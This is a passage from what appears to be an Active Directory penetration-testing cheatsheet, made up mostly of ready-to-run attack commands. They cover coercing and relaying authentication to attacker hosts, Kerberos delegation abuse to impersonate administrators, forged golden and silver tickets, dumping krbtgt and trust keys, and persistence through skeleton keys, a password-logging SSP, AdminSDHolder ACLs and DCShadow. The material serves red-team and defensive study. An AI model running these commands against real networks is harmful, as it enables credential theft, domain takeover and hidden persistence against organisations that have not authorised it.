Exchange server authentication via **PushSubscription** (now patched): ```bash python3 privexchange.py -ah -u user1 -p password -d domain.local ``` #### MSSQL Server With [xp\_dirtree](active-directory-python.md#rbcd-from-mssql-server). #### WebClient Service If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay). Check if WebClient is running on machines: ```bash webclientservicescanner domain.local/user1:password@ ``` If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid **NETBIOS name** and not its IP. the FQDN can be obtained with Responder in Analyze mode. ```bash responder -I interface_to_use -A #Coerce with PetitPotam for example ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" ``` ### NTLM and Kerberos relay #### SMB without signing Create a list of computer without SMB signing: ```bash nxc smb --gen-relay-list list.txt ``` #### ntlmrelayx If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used. Multiple targets can be specified with `-tf list.txt`. * Enumeration ```bash #With attempt to dump possible GMSA and LAPS passwords, and ADCS templates ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl ``` * SOCKS ```bash ntlmrelayx.py -t smb://target -socks ntlmrelayx.py -t mssql://target -socks ``` * Creds dump ```bash ntlmrelayx.py -t smb://target ``` * DCSync if the target in vulnerable to Zerologon ```bash ntlmrelayx.py -t dcsync://dc ``` * Privesc Add an user to **Enterprise Admins**. ```bash ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump ``` * Create a computer account ```bash #Create a new computer account through LDAPS ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl #Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290) ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC ``` * Kerberos Delegation Kerberos RBCD are detailled in the following section. ```bash #Create a new computer account through LDAPS and enabled RBCD ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Create a new computer account through LDAP with StartTLS and enabled RBCD ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl #Doesn't create a new computer account and use an existing one ntlmrelayx.py -t ldap://dc_IP --escalate-user --delegate-access --no-dump --no-da --no-acl ``` * Shadow Credentials ```bash ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$' ``` * From a mitm6 authent ```bash #Attempts to open a socks and write loot likes dumps into a file ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks ``` * Targeting GPO Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this [article](https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more) to better understand. First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one) ```bash ntlmrelayx -t 'ldaps://' -wh ':8080' --http-port '80,8080' -i #When relay is successful, use nc to obtain a LDAP shell nc 127.0.0.1 11000 add_computer ATTACKER Password123 write_gpo_dacl ATTACKER$ {} ``` Then, modify the GPO with the controlled account ```bash python3 gpoddity.py --gpo-id '' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '' --rogue-smbserver-ip '' --rogue-smbserver-share 'evil' ``` * [ADCS ESC8 & 11](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-relay-attacks---esc8) * [SCCM primary site takeover](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-sccm-%2F-mecm) #### krbrelayx To relay authentication from a mitm6 DNS spoofing to ADCS: ```bash krbrelayx.py --target http://CA.domain.local/certsrv -ip --victim target$ --adcs --template Machine ``` #### krbjack A [tool](https://github.com/almandin/krbjack) to perform DNS updates thanks to the `ZONE_UPDATE_UNSECURE` flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the `AP_REQ` packets on the fly to reuse them. The port list is really **important** and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services. * MiTM and exec an executable on the target (SMB signing must be not required) ```bash krbjack --target-name --domain domain.local --dc-ip --ports --executable ``` * Just perform DNS poisoning **without** port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk ```bash krbjack --target-name --domain domain.local --dc-ip ntlmrelayx.py -t -smb2support ``` ## Kerberos Delegations Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal. There are two main types of delegation: * **Unconstrained Delegation**: the first hop server can request access to any service on any computer * **Constrained Delegation**: the first hop server has a list of service it can request ### Unconstrained delegation * A user request a TGT to the DC * The user requests a ST for a service on a computer which is in Unconstrained Delegation * The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in **LSASS**. This way the server can reuse the user's TGT to access any other resource as the user * This behavior can be abused by extracting the TGT from the previous users stored in LSASS #### Enumerate principals with Unconstrained Delegation Works for computers and users ```bash findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password ``` #### Unconstrained Delegation attack If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion. * Add a new DNS record on the domain that point to our IP * Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST) * Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT. ```bash #Add the SPN python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional #Create the DNS record python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #Run krbrelayx with the hash of the password of the principal python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local #Trigger the coercion ./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" ``` ### Constrained delegation In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS. To impersonate the user, Service for User (S4U) extension is used which provides two extensions: * Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION** – T2A4D UserAccountControl attribute. * Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a ST to a second service on behalf of a user. #### Enumerate users and computers with CD enabled ```bash findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password ``` #### With protocol transition Any service can be specified on the target since it is not correctly checked. ```bash getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/computer export KRB5CCNAME=./Administrator.ccache ``` #### Without protocol transition In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section. ### Resource-based constrained delegation [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario). #### Requirements * The DC has to be at least a **Windows Server 2012** * Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**) * Target computer object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set #### Enumerate users and computers with RBCD enabled ```bash findDelegation.py -dc-ip domain.local/user1:password #For another domain across trust findDelegation.py -target-domain domain.local/user1:password #Check the attribute on an account rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password ``` #### Standard RBCD The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB. ```bash #Add RBCD from ServiceA to ServiceB rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password #Verify property rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password #Get ServiceA TGT and then S4U getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ export KRB5CCNAME=./Administrator.ccache ``` #### With machine account creation * Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0 * Add a fake machine account in the domain * Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine ```bash addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password' rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword ``` * Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**) * Use the **S4UProxy** function to obtain a ST for the impersonated user for the wanted service on the target machine ```bash getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip domain.local/ControlledComputer$:ComputerPassword export KRB5CCNAME=./Administrator.ccache ``` #### Skip S4USelf * Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B * By social engineering or any other solution, an interesting victim authenticates to Service A with a ST * Attacker dumps the ST on Service A (`sekurlsa::tickets`) * Attacker configures RBCD from Service A to Service B as above * Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence **NOT TESTED IN MY LAB WITH IMPACKET** ```bash getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':' -dc-ip domain.local/ServiceA$ ``` #### Reflective RBCD With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user. ```bash rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$ getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ ``` #### Impersonate protected user via S4USelf request It is possible to impersonate a **protected user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**). With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC). ```bash getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip domain.local/ServiceA$ ``` #### Bypass Constrained Delegation restrictions with RBCD * Attacker compromises **ServiceA** and **ServiceB** * ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf) * Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB * Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC` * Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to `cifs/ServiceC` ```bash #RBCD from A to B rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':' domain.local/ServiceA$ getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':' -dc-ip domain.local/ServiceA$ #S4UProxy from B to C with the obtained ST as evidence getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':' -dc-ip domain.local/ServiceB$ ``` #### U2U RBCD with SPN-less accounts In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present [here](https://twitter.com/snovvcrash/status/1595814518558543874). * Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...) * Obtain a TGT for the user via pass-the-hash and extract the session key from it with this [PR](https://github.com/SecureAuthCorp/impacket/pull/1201): ```bash getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1' describeTicket.py 'user1.ccache' | grep 'Ticket Session Key' ``` * Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained [here](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html). ```bash smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC' ``` * Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this [PR](https://github.com/SecureAuthCorp/impacket/pull/1202) to do it: ```bash KRB5CCNAME='user1.ccache' getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1' ``` * Finally, use the obtained ST to dump the machine LSA and SAM registers with `secretsdump`. #### RBCD from MSSQL server If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`): * Create a DNS record in order to be able to leak the NTLM hash externally * Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash * Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine * Now we can ask a ST for a user we want to impersonate for a service on the machine ```bash #Add the DNS python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '' --action add #On our machine, waiting for the leak #https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c python rbcd_relay.py 192.168.24.10 domain.local 'target$' #ON the MSSQL server SQLCMD -S -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin #After the attack, ask for a ST with full S4U getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip domain.local/password ``` ## Domain Persistence ### Sapphire ticket Similar to [**Diamond Ticket**](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/), but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a _S4USelf + U2U_ attack in the requested ticket. Full explains [here](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire). ```bash ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '' 'blabla' ``` ### Diamond ticket [Blog here](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/) For the moment, the `ticketer.py` approach is not really attractive and the **Sapphire Ticket** attack is preferable, or use Rubeus on Windows. ### Golden ticket #### Dump krbtgt hash with DCSync ```bash secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@ ``` #### Create TGT ```bash ticketer.py -domain domain.local -domain-sid -nthash -user-id -duration ``` #### RODC Golden Ticket This attack is presented in the Active Directory cheatsheet. ### Silver ticket ```bash ticketer.py -domain domain.local -domain-sid -spn 'cifs/target' -nthash -user-id -duration ``` Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent): ```bash export KRB5CCNAME=./target_TGT.ccache getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$' ``` ### GoldenGMSA This attack is presented in the Active Directory cheatsheet. ### Skeleton key ```bash nxc smb -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton' ``` Now, it is possible to access any machine with a valid username and password as "mimikatz" ### DSRM * DSRM is Directory Services Restore Mode * The local administrator on every DC can authenticate with the DSRM password * It is possible to pass the hash of this user to access the DC after modifying the DC configuration #### Dump DSRM password ```bash nxc smb -u user1 -p password --sam ``` #### Change registry configuration Need to change the logon behavior before pass the hash ```bash reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD ``` Now the DSRM hash ca be used to authenticate ### Custom SSP SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine. * By patching LSASS (really instable since Server 2016) ```bash nxc smb -u user1 -p password -M mimikatz -o COMMAND='misc::memssp' ``` * By modifying the LSA registry Upload the `mimilib.dll` to **system32** and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` : ```bash #Retrieve the actual values of Security Package reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s #Append mimilib to the previous list reg.py -dc-ip 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd " mimilib" -vt REG_MULTI_SZ ``` ### DACLs - AdminSDHolder AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour. #### Attack * With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example. * When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins. ```bash dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'administrator':'password' ``` #### Check Domain Admin ACLs ```bash dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip domain.local/user1:password ``` ### DACLs - Interesting rights The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section. ## Cross-Trust Movement Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus. ### Child to parent domain Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field. ```bash #The new Golden Ticket will be written at the path specified in -w raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password #Dump the Administrator's hash of the root domain raiseChild.py child.domain.local/Administrator:password #PSEXEC on a machine raiseChild.py -target-exec child.domain.local/Administrator:password ``` ### Across forest #### SID History attacks If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an **RID > 1000** must be indicated. * Get the Trust Key ```bash secretsdump.py -just-dc-user '' domain.local/Administrator:password@ ``` * If **no filtering** : forge a referral ticket or an inter-realm Golden Ticket and request for a ST `ticketer.py` doesn't work really well with inter-realm TGT, it's preferable to use **Mimikatz** for this one. ```bash #Referral ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -aesKey -spn "krbtgt/targetDomain.local" #Inter-realm Golden Ticket ticketer.py -domain domain.local -domain-sid -extra-sid - -nthash export KRB5CCNAME=./ticket.ccache getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip targetDomain.local/user ``` * If **there is SID filtering**, same thing as above but with **RID > 1000** (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the `foreignSecurityPrincipal`. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups: ```bash #These SIDs are members of the target domain ldeep ldap -u user1 -p password -d domain.local -s search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid' #The found SIDs can be search in the current forest ldeep ldap -u user1 -p password -d domain.local -s search '(objectSid=)' ``` Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges. #### TGT delegation By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications). If TGT delegation is **enabled** in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is **disabled**, the TGT will not be added in the ST, even with the Unconstrained Delegation. Additionally, **Selective Authentication must not be enabled** on the trust, and a two ways trust is needed. How to exploit an [Unconstrained Delegation](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-python-edition#bkmrk-unconstrained-delega-0). #### Transit across non-transitive trusts **WARNING** **!** For the moment, this attack has not been tested on Linux with Impacket but only with Rubeus from a Windows machine. The following commands are here for information purpose only and probably need some adjustments. I recommend you to perform this attack with Rubeus (look at the [Active Directory cheatsheet](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-transit-across-non-t)). If a **non-transitive** trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on **External Trusts** for example. However, there is a way to make non-transitive trusts transitive. Full explains [here](https://exploit.ph/external-trusts-are-evil.html). For this example, there is an **External Trust** between domains A and B (which are in different forests), there is a **Within Forest** trust between domains B and C (which are in the same forest), and a **Parent-child** trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since **External Trusts** are non-transitive. * First, obtain a TGT for userA in his **domain A** ```bash getTGT.py -dc-ip domainA.local/userA:password export KRB5CCNAME=./userA.ccache ``` * Then, request a referral for the **domain B** with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in **domain B** as userA ```bash getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA ``` * With this referral, it is not possible to request for a ST in **domain C** since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B ```bash getST.py -k -no-pass -spn "krbtgt/domainB.local" -dc-ip domainA.local/userA ``` * Now, this TGT can be reused to ask for a referral to access **domain C**, still from **domain A with user A** ```bash getST.py -k -no-pass -spn "krbtgt/domainC.local" -dc-ip domainA.local/userA ``` This referral for **domain C** can be, in turn, used to access **domain D** with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest. However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with **domain D**. For example, if **domain D** has an **External Trust** with **domain E** in a third forest, it will be not possible to access domain E from A. A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. ```bash getST.py -k -no-pass -spn "ldap/dc.domainD.local" -dc-ip domainA.local/userA addcomputer.py -k -no-pass -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domainD.local domainA.local/userA #Then, ask for a TGT and replay the attack against domain E ``` ### Across forest - PAM trust The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high privs group. #### Check if the current forest is a bastion forest Enumerate trust properties * `ForestTransitive` must be **true** * `SIDFilteringQuarantined` must be **false** ```bash ldeep ldap -u user1 -p password -d domain.local -s trusts ``` Enumerate shadow security principals ```bash ldeep ldap -u user1 -p password -d domain.local -s search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' ``` #### Check if the current forest is managed by a bastion forest `ForestTransitive` must be **true** ```bash ldeep ldap -u user1 -p password -d domain.local -s trusts ``` A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`). #### Get the shadow security principals ```bash ldeep ldap -u user1 -p password -d domain.local -s object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"' ``` * `Name` - Name of the shadow principal * `member` - Members from the bastion forest which are mapped to the shadow principal * `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` in a **PAM Trust**. ### SCCM Hierarchy takeover In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a **Central Administration Site** to administrate all the sites from one "top" site server. If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites. Full explains [here](https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087). ## Forest Persistence - DCShadow **MUST BE TESTED MORE CORRECTLY** * DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller * The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar) The attack needs 2 instances on the compromised machine. * One to start RPC servers with SYSTEM privileges and specify attributes to be modified ```bash nxc smb -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object: /attribute: /value="' ``` * And second with enough privileges (DA or otherwise) to push the values : ```bash nxc smb -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080 ``` ### Set interesting attributes #### Set SIDHistory to Enterprise Admin ```bash lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:-519 ``` #### Modify primaryGroupID ```bash lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519 ``` #### Set a SPN on an user ```bash lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1" ``` ## References * [The Hacker Recipes](https://www.thehacker.recipes) * [Pentester Academy](https://www.pentesteracademy.com) * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) * [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/) * [Pentestlab.blog](https://pentestlab.blog/) * [HackTricks](https://book.hacktricks.xyz/welcome/readme) * [Haax](https://cheatsheet.haax.fr/) * [Red Teaming Experiments](https://www.ired.team) * [SpecterOps](https://posts.specterops.io) * [MDSec](https://www.mdsec.co.uk/knowledge-centre/research/) * [BloodHound](https://bloodhound.readthedocs.io/en/latest/index.html) * [Cube0x0](https://cube0x0.github.io) * [Dirk-jan Mollema](https://dirkjanm.io) * [Snovvcrash](https://ppn.snovvcrash.rocks) * [Exploit.ph](https://exploit.ph/) * [Adam Chester](https://blog.xpnsec.com/) * [Olivier Lyak](https://medium.com/@oliverlyak) * [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [Masky release](https://z4ksec.github.io/posts/masky-release-v0.0.3/) * [Active Directory Spotlight](https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/) * [LDAP Pass back](https://www.acceis.fr/ldap-pass-back-attack/) * [SOAPHound](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/) * [ThievingFox](https://blog.slowerzs.net/posts/thievingfox/) * [Hack The Box](https://www.hackthebox.com/)